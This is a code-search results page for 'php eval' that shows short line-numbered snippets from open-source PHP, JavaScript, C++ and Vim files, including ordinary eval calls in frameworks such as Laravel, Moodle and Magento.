PageRenderTime 612ms queryTime 48ms sortTime 121ms getByIdsTime 156ms findMatchingLines 149ms

100+ results results for 'php eval repo:saidiahd/wp-cli' (612 ms)

Not the results you expected?
ImageMagick.php https://gitlab.com/yousafsyed/easternglamor | PHP | 480 lines
                    
1<?php
                    
2/**
                    
145        $this->_checkCanProcess();
                    
146        $dims = $this->_adaptResizeValues($frameWidth, $frameHeight);
                    
147
                    
237     * @throws \Exception
                    
238     * @SuppressWarnings(PHPMD.CyclomaticComplexity)
                    
239     * @SuppressWarnings(PHPMD.NPathComplexity)
                    
270            $watermark->paintTransparentImage($watermark->getImagePixelColor(0, 0), 1, 65530);
                    
271            $watermark->evaluateImage(\Imagick::EVALUATE_SUBTRACT, 1 - $opacity, \Imagick::CHANNEL_ALPHA);
                    
272        }
                    
332        if (!class_exists('\Imagick', false)) {
                    
333            throw new \Exception("Required PHP extension 'Imagick' was not loaded.");
                    
334        }
                    
                
CookieJar.php https://bitbucket.org/Ebozavrik/test-application.git | PHP | 441 lines
                    
1<?php
                    
2/**
                    
17 * @subpackage CookieJar
                    
18 * @version    $Id: CookieJar.php 24856 2012-06-01 01:10:47Z adamlundrigan $
                    
19 * @copyright  Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
                    
25 */
                    
26require_once "Zend/Uri.php";
                    
27/**
                    
29 */
                    
30require_once "Zend/Http/Cookie.php";
                    
31/**
                    
33 */
                    
34require_once "Zend/Http/Response.php";
                    
35
                    
126     * @param Zend_Uri_Http|string    $ref_uri Optional reference URI (for domain, path, secure)
                    
127     * @param boolean                 $encodeValue
                    
128     */
                    
                
CakeRoute.php https://github.com/probert09/Tesis.git | PHP | 506 lines
                    
1<?php
                    
2/**
                    
8 *
                    
9 * PHP5
                    
10 *
                    
10 *
                    
11 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org)
                    
12 * Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
17 * @copyright     Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
18 * @link          http://cakephp.org CakePHP(tm) Project
                    
19 * @package       Cake.Routing.Route
                    
19 * @package       Cake.Routing.Route
                    
20 * @since         CakePHP(tm) v 1.3
                    
21 * @license       MIT License (http://www.opensource.org/licenses/mit-license.php)
                    
69/**
                    
70 * HTTP header shortcut map.  Used for evaluating header-based route expressions.
                    
71 *
                    
                
Command.php https://github.com/l3l0/BehatExamples.git | PHP | 512 lines
                    
1<?php
                    
2
                    
34    protected $description;
                    
35    protected $ignoreValidationErrors;
                    
36    protected $applicationDefinitionMerged;
                    
48        $this->definition = new InputDefinition();
                    
49        $this->ignoreValidationErrors = false;
                    
50        $this->applicationDefinitionMerged = false;
                    
133        } catch (\Exception $e) {
                    
134            if (!$this->ignoreValidationErrors) {
                    
135                throw $e;
                    
378            $name,
                    
379            $_SERVER['PHP_SELF'].' '.$name
                    
380        );
                    
                
AclVoterTest.php https://gitlab.com/Snizer/PI-DEV-TUNISIAMALL3A6-WEB | PHP | 432 lines
                    
1<?php
                    
2
                    
22
                    
23class AclVoterTest extends \PHPUnit_Framework_TestCase
                    
24{
                    
413        $permissionMap = $this->getMock('Symfony\Component\Security\Acl\Permission\PermissionMapInterface');
                    
414        $oidStrategy = $this->getMock('Symfony\Component\Security\Acl\Model\ObjectIdentityRetrievalStrategyInterface');
                    
415        $sidStrategy = $this->getMock('Symfony\Component\Security\Acl\Model\SecurityIdentityRetrievalStrategyInterface');
                    
                
Selection.js https://github.com/StephanHoyer/DJsAdmin.git | JavaScript | 445 lines
                    
11     LGPL: http://www.gnu.org/licenses/lgpl.html
                    
12     EPL: http://www.eclipse.org/org/documents/epl-v10.php
                    
13     See the LICENSE file in the project's top-level directory for details.
                    
205              {
                    
206                end = node.nodeValue.length;
                    
207              }
                    
208
                    
209              if (start >= 0 && start <= node.nodeValue.length && end >= 0 && end <= node.nodeValue.length)
                    
210              {
                    
                
backuplib.php https://github.com/cwaclawik/moodle.git | PHP | 337 lines
                    
1<?PHP //$Id$
                    
2    //This php script contains all the stuff to backup/restore
                    
240        // $excluded_tags : fields which will NOT be backed up from the records
                    
241        // $more_backup   : optional PHP code to be eval(uated) for each record
                    
242        // If any of the "fwrite" statements fail,
                    
274                if ($more_backup) {
                    
275                    eval($more_backup);
                    
276                }
                    
                
relocation-x64.cpp https://github.com/soitun/hiphop-php.git | C++ | 416 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
6   +----------------------------------------------------------------------+
                    
7   | This source file is subject to version 3.01 of the PHP license,      |
                    
8   | that is bundled with this package in the file LICENSE, and is        |
                    
9   | available through the world-wide-web at the following url:           |
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
13   | license@php.net so we can mail you a copy immediately.               |
                    
14   +----------------------------------------------------------------------+
                    
16
                    
17#include "hphp/runtime/vm/jit/relocation.h"
                    
18
                    
                
jquery.serializejson.js https://gitlab.com/Mirros/cdnjs | JavaScript | 193 lines
                    
6  Copyright (c) 2014 Mario Izquierdo
                    
7  Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
                    
8  and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
                    
23      keys = f.splitInputNameIntoKeysArray(input.name); // "some[deep][key]" => ['some', 'deep', 'key']
                    
24      value = f.parseValue(input.value, opts); // string, number, boolean or null
                    
25      if (opts.parseWithFunction) value = opts.parseWithFunction(value); // allow for custom parsing
                    
65    // Convert the string to a number, boolean or null, depending on the enable option and the string format.
                    
66    parseValue: function(str, opts) {
                    
67      var value, f;
                    
                
APCCacheMode.php https://github.com/ChuguluGames/mediawiki-svn.git | PHP | 299 lines
                    
1<?php
                    
2
                    
251		$options = array();
                    
252		$scope = $this->opts->consumeValue( 'scope' );
                    
253		$scopeOptions = array( 'active', 'deleted', 'both' );
                    
259		$options = array();
                    
260		$sort = $this->opts->consumeValue( 'sort' );
                    
261		$sortOptions = array( 'hits', 'size', 'name', 'accessed', 'modified', 'created', 'deleted' );
                    
268		$options = array();
                    
269		$sortdir = $this->opts->consumeValue( 'sortdir' );
                    
270		$options[] = Xml::option( wfMsg( 'ascending_abbrev' ), 0, !$sortdir );
                    
275		$options = array();
                    
276		$limit = $this->opts->consumeValue( 'limit' );
                    
277		$limitOptions = array( 10, 20, 50, 150, 200, 500, $limit );
                    
285
                    
286		$searchBox = Xml::input( 'searchi', 25, $this->opts->consumeValue( 'searchi' ) );
                    
287		$submit = Xml::submitButton( wfMsg( 'viewapc-ls-submit' ) );
                    
                
NestedSetBehaviorQueryBuilderModifier.php https://github.com/1989gaurav/Propel.git | PHP | 379 lines
                    
1<?php
                    
2
                    
107	{
                    
108		$objectName = '$' . $this->table->getStudlyPhpName();
                    
109		$script .= "
                    
121			$script .= "
                    
122		->inTree({$objectName}->getScopeValue())";
                    
123		}
                    
132	{
                    
133		$objectName = '$' . $this->table->getStudlyPhpName();
                    
134		$script .= "
                    
147			$script .= "
                    
148		->inTree({$objectName}->getScopeValue())";
                    
149		}
                    
158	{
                    
159		$objectName = '$' . $this->table->getStudlyPhpName();
                    
160		$script .= "
                    
                
QueryBuilder.php https://gitlab.com/brucealdridge/yii2 | PHP | 260 lines
                    
1<?php
                    
2/**
                    
239                if (is_string($value)) {
                    
240                    $value = $schema->quoteValue($value);
                    
241                } elseif ($value === false) {
                    
                
loader.js https://gitlab.com/LisovyiEvhenii/ismextensions | JavaScript | 285 lines
                    
8 * It is also available through the world-wide-web at this URL:
                    
9 * http://opensource.org/licenses/afl-3.0.php
                    
10 * If you did not receive a copy of the license and are unable to
                    
22 * @copyright   Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com)
                    
23 * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
                    
24 */
                    
69                if (response.responseText.isJSON()) {
                    
70                    var jsonObject = response.responseText.evalJSON();
                    
71                    if (jsonObject.ajaxExpired && jsonObject.ajaxRedirect) {
                    
87            var contentType = response.getHeader('Content-type');
                    
88            if (this.options.evalJS == 'force'
                    
89                || (this.options.evalJS && this.isSameOrigin() && contentType
                    
90                && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i))) {
                    
91                this.evalResponse();
                    
92            }
                    
                
using.sessions.md https://github.com/popovag/kohana_userguide.git | Markdown | 223 lines
                    
2
                    
3Kohana provides a couple of classes that make it easy to work with both cookies and session. At a high level both sessions and cookies provide the same function. They allow the developer to store temporary or persistent information about a specific client for later retrieval.
                    
4
                    
10
                    
11[!!] For more information on best practices with session variables see [the seven deadly sins of sessions](http://lists.nyphp.org/pipermail/talk/2006-December/020358.html).
                    
12
                    
26
                    
27You can also use this to overload the `$_SESSION` global to get and set data in a way more similar to standard PHP:
                    
28
                    
82
                    
83All of the cookie settings are changed using static properties. You can either change these settings in `bootstrap.php` or by using a [class extension](using.autoloading#class-extension).
                    
84
                    
131Native
                    
132: Stores session data in the default location for your web server. The storage location is defined by [session.save_path](http://php.net/manual/session.configuration.php#ini.session.save-path) in `php.ini` or defined by [ini_set](http://php.net/ini_set).
                    
133
                    
                
ItemsController.php https://gitlab.com/nitm/yii2-cms | PHP | 229 lines
                    
1<?php
                    
2namespace nitm\cms\modules\entity\controllers;
                    
11use \nitm\cms\widgets\DateTimePicker;
                    
12use yii\validators\FileValidator;
                    
13use yii\web\UploadedFile;
                    
201                $field = $model->category->getFieldByName($fieldName);
                    
202                $validator = new FileValidator(['extensions' => $field->options ? $field->options : null]);
                    
203                $uploadInstance = UploadedFile::getInstanceByName('Data['.$fieldName.']');
                    
                
document.php https://github.com/kodeplay/kodelearn.git | PHP | 272 lines
                    
1<?php defined('SYSPATH') or die('No direct script access.');
                    
2
                    
85        header("Expires: 0");
                    
86        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
                    
87        header("Cache-Control: public");
                    
                
Annotation.php https://bitbucket.org/cryofrost/portal.git | PHP | 267 lines
                    
1<?php
                    
2
                    
18 * @link http://www.gediminasm.org
                    
19 * @license MIT License (http://www.opensource.org/licenses/mit-license.php)
                    
20 */
                    
166                $field = $property->getName();
                    
167                if (!$meta->isSingleValuedAssociation($field)) {
                    
168                    throw new InvalidMappingException("Unable to find ancestor/parent child relation through ancestor field - [{$field}] in class - {$meta->name}");
                    
                
properties.cache.php https://bitbucket.org/orchdork10159/dnsman.ly.git | PHP | 89 lines
                    
1<?php  return array (
                    
2  'bottom' => 'Bottom',
                    
60  'prop_grt.offset_desc' => 'The offset, or record position to start at within the collection for rendering results for the current page; should be calculated based on page variable set in pageVarKey.',
                    
61  'prop_grt.tvfilters_desc' => 'Delimited-list of TemplateVar values to filter resources by. Supports two delimiters and two value search formats. THe first delimeter || represents a logical OR and the primary grouping mechanism.  Within each group you can provide a comma-delimited list of values. These values can be either tied to a specific TemplateVar by name, e.g. myTV==value, or just the value, indicating you are searching for the value in any TemplateVar tied to the Resource. An example would be &tvFilters=`filter2==one,filter1==bar%||filter1==foo`. <br />NOTE: filtering by values uses a LIKE query and % is considered a wildcard. <br />ANOTHER NOTE: This only looks at the raw value set for specific Resource, i. e. there must be a value specifically set for the Resource and it is not evaluated.',
                    
62  'prop_grt.depth_desc' => 'Integer value indicating depth to search for resources from each parent. Defaults to 10.',
                    
                
loader.js https://bitbucket.org/sevenly/magento-ce.git | JavaScript | 285 lines
                    
8 * It is also available through the world-wide-web at this URL:
                    
9 * http://opensource.org/licenses/afl-3.0.php
                    
10 * If you did not receive a copy of the license and are unable to
                    
22 * @copyright   Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
                    
23 * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
                    
24 */
                    
69                if (response.responseText.isJSON()) {
                    
70                    var jsonObject = response.responseText.evalJSON();
                    
71                    if (jsonObject.ajaxExpired && jsonObject.ajaxRedirect) {
                    
87            var contentType = response.getHeader('Content-type');
                    
88            if (this.options.evalJS == 'force'
                    
89                || (this.options.evalJS && this.isSameOrigin() && contentType
                    
90                && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i))) {
                    
91                this.evalResponse();
                    
92            }
                    
                
DefaultRevalidationTest.php https://gitlab.com/x33n/respond | PHP | 246 lines
                    
1<?php
                    
2
                    
19/**
                    
20 * @covers Guzzle\Plugin\Cache\DefaultRevalidation
                    
21 * @group server
                    
22 */
                    
23class DefaultRevalidationTest extends \Guzzle\Tests\GuzzleTestCase
                    
24{
                    
30    /**
                    
31     * Data provider to test cache revalidation
                    
32     *
                    
34     */
                    
35    public function cacheRevalidationDataProvider()
                    
36    {
                    
37        return array(
                    
38            // Forces revalidation that passes
                    
39            array(
                    
                
list_assignment.cpp https://gitlab.com/Blueprint-Marketing/hhvm | C++ | 301 lines
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
13   | license@php.net so we can mail you a copy immediately.               |
                    
14   +----------------------------------------------------------------------+
                    
21#include "hphp/compiler/analysis/function_scope.h"
                    
22#include "hphp/compiler/expression/array_element_expression.h"
                    
23#include "hphp/compiler/expression/object_property_expression.h"
                    
25#include "hphp/compiler/expression/binary_op_expression.h"
                    
26#include "hphp/parser/hphp.tab.hpp"
                    
27
                    
291
                    
292void ListAssignment::outputPHP(CodeGenerator &cg, AnalysisResultPtr ar) {
                    
293  cg_printf("list(");
                    
                
CustomVariables.php https://github.com/quarkness/piwik.git | PHP | 312 lines
                    
1<?php
                    
2/**
                    
90		        'category' => 'CustomVariables_CustomVariables',
                    
91		        'name' => Piwik_Translate('CustomVariables_ColumnCustomVariableValue').' '.$i
                    
92			.' ('.Piwik_Translate('CustomVariables_ScopeVisit').')',
                    
92			.' ('.Piwik_Translate('CustomVariables_ScopeVisit').')',
                    
93		        'segment' => 'customVariableValue'.$i,
                    
94		        'sqlSegment' => 'log_visit.custom_var_v'.$i,
                    
106		        'category' => 'CustomVariables_CustomVariables',
                    
107		        'name' => Piwik_Translate('CustomVariables_ColumnCustomVariableValue').' '.$i
                    
108			.' ('.Piwik_Translate('CustomVariables_ScopePage').')',
                    
108			.' ('.Piwik_Translate('CustomVariables_ScopePage').')',
                    
109		        'segment' => 'customVariablePageValue'.$i,
                    
110		        'sqlSegment' => 'log_link_visit_action.custom_var_v'.$i,
                    
208				// possibly JSON value
                    
209				$mustInsertCustomVariableValue = true;
                    
210				if($row[$keyField] == '_pkc'
                    
                
producttooltip.php https://gitlab.com/ptisky/API_prestashop | PHP | 283 lines
                    
1<?php
                    
2/*
                    
9* It is also available through the world-wide-web at this URL:
                    
10* http://opensource.org/licenses/afl-3.0.php
                    
11* If you did not receive a copy of the license and are unable to
                    
22*  @copyright  2007-2015 PrestaShop SA
                    
23*  @license    http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
                    
24*  International Registered Trademark & Property of PrestaShop SA
                    
52		/* Default configuration values */
                    
53		Configuration::updateValue('PS_PTOOLTIP_PEOPLE', 1);
                    
54		Configuration::updateValue('PS_PTOOLTIP_DATE_CART', 1);
                    
54		Configuration::updateValue('PS_PTOOLTIP_DATE_CART', 1);
                    
55		Configuration::updateValue('PS_PTOOLTIP_DATE_ORDER', 1);
                    
56		Configuration::updateValue('PS_PTOOLTIP_DAYS', 3);
                    
56		Configuration::updateValue('PS_PTOOLTIP_DAYS', 3);
                    
57		Configuration::updateValue('PS_PTOOLTIP_LIFETIME', 30);
                    
58
                    
                
loader.js https://bitbucket.org/jokusafet/magento2.git | JavaScript | 285 lines
                    
8 * It is also available through the world-wide-web at this URL:
                    
9 * http://opensource.org/licenses/afl-3.0.php
                    
10 * If you did not receive a copy of the license and are unable to
                    
22 * @copyright   Copyright (c) 2012 X.commerce, Inc. (http://www.magentocommerce.com)
                    
23 * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
                    
24 */
                    
69                if (response.responseText.isJSON()) {
                    
70                    var jsonObject = response.responseText.evalJSON();
                    
71                    if (jsonObject.ajaxExpired && jsonObject.ajaxRedirect) {
                    
87            var contentType = response.getHeader('Content-type');
                    
88            if (this.options.evalJS == 'force'
                    
89                || (this.options.evalJS && this.isSameOrigin() && contentType
                    
90                && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i))) {
                    
91                this.evalResponse();
                    
92            }
                    
                
WebKitBrowserHost.cpp https://github.com/GordonSmith/FireBreath.git | C++ | 291 lines
                    
6             New BSD License
                    
7             http://www.opensource.org/licenses/bsd-license.php
                    
8             - or -
                    
98    try {
                    
99        FB::JSObjectPtr doc(jsEval("document").convert_cast<FB::JSObjectPtr>());
                    
100        if (doc)
                    
118    try {
                    
119        FB::JSObjectPtr body(jsEval("document.body").convert_cast<FB::JSObjectPtr>());
                    
120        if (body)
                    
126}
                    
127FB::variant WebKitBrowserHost::jsEval(const std::string &script) {
                    
128    JSStringRef scriptJS = JSStringCreateWithUTF8CString(script.c_str());
                    
134    } else {
                    
135        throw FB::script_error("Could not eval: " + script);
                    
136    }
                    
                
ext_misc.cpp https://github.com/kevlund/hiphop-php.git | C++ | 339 lines
                    
5   | Copyright (c) 2010- Facebook, Inc. (http://www.facebook.com)         |
                    
6   | Copyright (c) 1997-2010 The PHP Group                                |
                    
7   +----------------------------------------------------------------------+
                    
11   | http://www.php.net/license/3_01.txt                                  |
                    
12   | If you did not receive a copy of the PHP license and are unable to   |
                    
13   | obtain it through the world-wide-web, please send a note to          |
                    
174Variant f_highlight_file(CStrRef filename, bool ret /* = false */) {
                    
175  throw NotSupportedException(__func__, "PHP specific");
                    
176}
                    
178Variant f_show_source(CStrRef filename, bool ret /* = false */) {
                    
179  throw NotSupportedException(__func__, "PHP specific");
                    
180}
                    
330    const char *name = names[token - YYTOKEN_MIN];
                    
331    if (strncmp(name, "T_HPHP_", sizeof("T_HPHP_") - 1)) {
                    
332      return name;
                    
                
QueryBuilder.php https://gitlab.com/makkooz/nikestreetbeat | PHP | 260 lines
                    
1<?php
                    
2/**
                    
207     *
                    
208     * ```php
                    
209     * $sql = $queryBuilder->batchInsert('user', ['name', 'age'], [
                    
239                if (is_string($value)) {
                    
240                    $value = $schema->quoteValue($value);
                    
241                } elseif ($value === false) {
                    
                
Abstract.php https://bitbucket.org/babanesma/mysimpleadmin.git | PHP | 309 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Abstract.php 22824 2010-08-09 18:59:54Z renanbr $
                    
21 */
                    
124             */
                    
125            require_once 'Zend/Service/Ebay/Exception.php';
                    
126            throw new Zend_Service_Ebay_Exception('Invalid options provided.');
                    
190     */
                    
191    protected function _optionsToNameValueSyntax($options)
                    
192    {
                    
238            // this happens if any $subValue found is an array
                    
239            $new = $this->_optionsToNameValueSyntax($new);
                    
240        }
                    
244    /**
                    
245     * Translate native PHP values format to ebay format for request.
                    
246     *
                    
                
Collect.php https://gitlab.com/svillegas/magento2 | PHP | 313 lines
                    
1<?php
                    
2/**
                    
134
                    
135        $stateValues = array_map($stateCallback, $finalDbModuleArray);
                    
136        $installedCount = count($stateValues);
                    
138
                    
139        foreach ($stateValues as $state) {
                    
140            switch($state){
                    
261
                    
262        $nameValues = array_map($callback, $dbModuleArray);
                    
263        $moduleChanges = [];
                    
271
                    
272            if (!in_array($moduleName, $nameValues)) {
                    
273                $moduleChanges[] = $this->getNewModuleChanges($moduleName, $active, $module['setup_version'], $state);
                    
274            } else {
                    
275                $dbModule = $dbModuleArray[array_search($moduleName, $nameValues)];
                    
276                $changeTest = $dbModule->getData();
                    
                
Abstract.php https://gitlab.com/yousafsyed/easternglamor | PHP | 309 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Abstract.php 22824 2010-08-09 18:59:54Z renanbr $
                    
21 */
                    
124             */
                    
125            #require_once 'Zend/Service/Ebay/Exception.php';
                    
126            throw new Zend_Service_Ebay_Exception('Invalid options provided.');
                    
190     */
                    
191    protected function _optionsToNameValueSyntax($options)
                    
192    {
                    
238            // this happens if any $subValue found is an array
                    
239            $new = $this->_optionsToNameValueSyntax($new);
                    
240        }
                    
244    /**
                    
245     * Translate native PHP values format to ebay format for request.
                    
246     *
                    
                
assignment_expression.cpp https://gitlab.com/Blueprint-Marketing/hhvm | C++ | 314 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
16
                    
17#include "hphp/compiler/expression/assignment_expression.h"
                    
18#include "hphp/compiler/expression/array_element_expression.h"
                    
19#include "hphp/compiler/expression/object_property_expression.h"
                    
20#include "hphp/compiler/analysis/code_error.h"
                    
21#include "hphp/compiler/expression/constant_expression.h"
                    
27#include "hphp/compiler/expression/unary_op_expression.h"
                    
28#include "hphp/parser/hphp.tab.hpp"
                    
29#include "hphp/compiler/code_model_enums.h"
                    
                
AmiJS.js https://github.com/benbruscella/vpcounselling.com.git | JavaScript | 378 lines
                    
3//Copyright (c) 2005 Bob Ippolito. All rights reserved.
                    
4//License: http://www.opensource.org/licenses/mit-license.php
                    
5//Visit http://orangoo.com/AmiNation/AJS for full version.
                    
46},
                    
47getIndex: function(elm, list/*optional*/, eval_fn) {
                    
48for(var i=0; i < list.length; i++)
                    
48for(var i=0; i < list.length; i++)
                    
49if(eval_fn && eval_fn(list[i]) || elm == list[i])
                    
50return i;
                    
226var c_fun_dom = 'function() { ' + c_dom + '  }';
                    
227eval("AJS." + elm.toUpperCase() + "=" + c_fun_dom);
                    
228}
                    
                
Tree.class.php https://github.com/md-tech/openemr.git | PHP | 355 lines
                    
1<?php
                    
2
                    
102	    
                    
103	    //this is a string that gets evaled below to create the array representing the tree
                    
104	    $ar_string = "[\"".($row['id']) ."\"] = \$row[\"value\"]"; 
                    
116		
                    
117		//now eval the string to create the tree array
                    
118		//there must be a more efficient way to do this than eval?
                    
118		//there must be a more efficient way to do this than eval?
                    
119		eval($ar_string);
                    
120		
                    
120		
                    
121		//merge the evaled array with all of the already exsiting tree elements, 
                    
122		//merge recursive is used so that no keys are replaced in other words a key
                    
                
TaskMapBuilder.php https://bitbucket.org/ferOnti/processmaker.git | PHP | 200 lines
                    
1<?php
                    
2
                    
2
                    
3require_once 'propel/map/MapBuilder.php';
                    
4include_once 'creole/CreoleTypes.php';
                    
63        $tMap = $this->dbMap->addTable('TASK');
                    
64        $tMap->setPhpName('Task');
                    
65
                    
165
                    
166        $tMap->addValidator('TAS_ASSIGN_TYPE', 'validValues', 'propel.validator.ValidValuesValidator', 'BALANCED|MANUAL|EVALUATE|REPORT_TO|SELF_SERVICE|STATIC_MI|CANCEL_MI', 'Please select a valid value for TAS_ASSIGN_TYPE.');
                    
167
                    
                
view.php https://bitbucket.org/anujan/shurima.net.git | PHP | 589 lines
                    
1<?php namespace Laravel; use Closure, ArrayAccess;
                    
2
                    
177
                    
178		// Views may have either the default PHP file extension or the "Blade"
                    
179		// extension, so we will need to check for both in the view path
                    
323	/**
                    
324	 * Get the evaluated string content of the view.
                    
325	 *
                    
345	/**
                    
346	 * Get the evaluated contents of the view.
                    
347	 *
                    
365		{
                    
366			eval('?>'.$__contents);
                    
367		}
                    
379		// The view filter event gives us a last chance to modify the
                    
380		// evaluated contents of the view and return them. This lets
                    
381		// us do something like run the contents through Jade, etc.
                    
                
css.vim https://github.com/Aishinjiaolo/dotvim.git | Vim Script | 397 lines
                    
13  let pure = substitute(a:bg,'^#','','')
                    
14  let r = eval('0x'.pure[0].pure[1])
                    
15  let g = eval('0x'.pure[2].pure[3])
                    
15  let g = eval('0x'.pure[2].pure[3])
                    
16  let b = eval('0x'.pure[4].pure[5])
                    
17  if r*30 + g*59 + b*11 > 12000
                    
96  let smallest_distance = 10000000000
                    
97  let r = eval('0x'.a:color[1].a:color[2])
                    
98  let g = eval('0x'.a:color[3].a:color[4])
                    
98  let g = eval('0x'.a:color[3].a:color[4])
                    
99  let b = eval('0x'.a:color[5].a:color[6])
                    
100  for c in range(0,254)
                    
124" shamelessly stolen from ConvertBase.vim
                    
125" http://www.vim.org/scripts/script.php?script_id=54
                    
126function! s:ConvertToBase(int, base)
                    
                
FormCacheTest.php https://gitlab.com/reasonat/test8 | PHP | 434 lines
                    
1<?php
                    
2
                    
24   *
                    
25   * @var \Drupal\Core\KeyValueStore\KeyValueExpirableFactoryInterface|\PHPUnit_Framework_MockObject_MockObject
                    
26   */
                    
31   *
                    
32   * @var \Drupal\Core\Session\AccountInterface|\PHPUnit_Framework_MockObject_MockObject
                    
33   */
                    
38   *
                    
39   * @var \Drupal\Core\Access\CsrfTokenGenerator|\PHPUnit_Framework_MockObject_MockObject
                    
40   */
                    
45   *
                    
46   * @var \Drupal\Core\Extension\ModuleHandlerInterface|\PHPUnit_Framework_MockObject_MockObject
                    
47   */
                    
52   *
                    
53   * @var \Drupal\Core\KeyValueStore\KeyValueStoreExpirableInterface|\PHPUnit_Framework_MockObject_MockObject
                    
54   */
                    
                
class-wc-shipping-legacy-flat-rate.php https://gitlab.com/hunt9310/ras | PHP | 379 lines
                    
1<?php
                    
2if ( ! defined( 'ABSPATH' ) ) {
                    
26		$this->method_title       = __( 'Flat Rate (Legacy)', 'woocommerce' );
                    
27		$this->method_description = sprintf( __( '<strong>This method is deprecated in 2.6.0 and will be removed in future versions - we recommend disabling it and instead setting up a new rate within your <a href="%s">Shipping Zones</a>.</strong>', 'woocommerce' ), admin_url( 'admin.php?page=wc-settings&tab=shipping' ) );
                    
28		$this->init();
                    
40		if ( 'no' === $this->settings[ 'enabled' ] ) {
                    
41			wp_redirect( admin_url( 'admin.php?page=wc-settings&tab=shipping&section=options' ) );
                    
42			exit;
                    
76	public function init_form_fields() {
                    
77		$this->form_fields = include( 'includes/settings-flat-rate.php' );
                    
78	}
                    
86	protected function evaluate_cost( $sum, $args = array() ) {
                    
87		include_once( WC()->plugin_path() . '/includes/libraries/class-wc-eval-math.php' );
                    
88
                    
120		// Do the math
                    
121		return $sum ? WC_Eval_Math::evaluate( $sum ) : 0;
                    
122	}
                    
                
CHANGES.md https://gitlab.com/reasonat/test8 | Markdown | 322 lines
                    
10
                    
11* Disallowed failures on PHP 7 on Travis (tests were passing since a long time)
                    
12
                    
17* Improved the window resize test to consider headless browsers
                    
18* Fixed the compatibility of the testsuite with PHPUnit 5
                    
19* Added a test ensuring that `wait()` always return a boolean even when the JS expression does not cast the value
                    
45
                    
46* Fixed the URL assertions when comparing paths ending in ``.php``
                    
47* Silenced deprecation warnings (following the Symfony convention) to make
                    
47* Silenced deprecation warnings (following the Symfony convention) to make
                    
48  them less invasive. Use the `symfony/phpunit-bridge` to get them reported
                    
49  when using Mink in your PHPUnit tests.
                    
53
                    
54* Made the testsuite compatible with PHPUnit strict timing mode (only the library testsuite, not the driver one)
                    
55* Added testing against PHP 7
                    
                
CakeValidationSetTest.php https://bitbucket.org/vishallogiciel/admin-bootstrap.git | PHP | 339 lines
                    
2/**
                    
3 * CakeValidationSetTest file
                    
4 *
                    
6 *
                    
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
                    
8 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
14 * @copyright     Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
15 * @link          http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
                    
16 * @package       Cake.Test.Case.Model.Validator
                    
27 */
                    
28class CakeValidationSetTest extends CakeTestCase {
                    
29
                    
126		$rules = array('validEmail' => array('rule' => 'email', 'message' => 'Invalid email'));
                    
127		$Rule = new CakeValidationRule($rules['validEmail']);
                    
128		$Field->setRule('validEmail', $Rule);
                    
                
model.php https://github.com/keiouu/Evelite.git | PHP | 398 lines
                    
1<?php
                    
2/*
                    
9
                    
10require_once(home_dir . "framework/database.php");
                    
11require_once(home_dir . "framework/model_query.php");
                    
11require_once(home_dir . "framework/model_query.php");
                    
12require_once(home_dir . "framework/model_fields/init.php");
                    
13
                    
14class ValidationException extends Exception { }
                    
15class TableValidationException extends ValidationException { }
                    
16class ModelExistsException extends Exception {}
                    
271			if (!array_key_exists($column, $fields))
                    
272				throw new TableValidationException($column . " is no longer a part of " . $table_name);
                    
273		}
                    
275			if (!array_key_exists($field, $columns))
                    
276				throw new TableValidationException($field . " should be in " . $table_name);
                    
277		}
                    
                
ValidatorBuilder.php https://gitlab.com/pr0055/symfonypizza | PHP | 342 lines
                    
1<?php
                    
2
                    
31use Symfony\Component\Validator\Mapping\Loader\YamlFilesLoader;
                    
32use Symfony\Component\Validator\Validator\RecursiveValidator;
                    
33
                    
339
                    
340        return new RecursiveValidator($contextFactory, $metadataFactory, $validatorFactory, $this->initializers);
                    
341    }
                    
                
Abstract.php https://bitbucket.org/openfisma-ondemand/openfisma.git | PHP | 309 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Abstract.php 22824 2010-08-09 18:59:54Z renanbr $
                    
21 */
                    
124             */
                    
125            // require_once 'Zend/Service/Ebay/Exception.php';
                    
126            throw new Zend_Service_Ebay_Exception('Invalid options provided.');
                    
190     */
                    
191    protected function _optionsToNameValueSyntax($options)
                    
192    {
                    
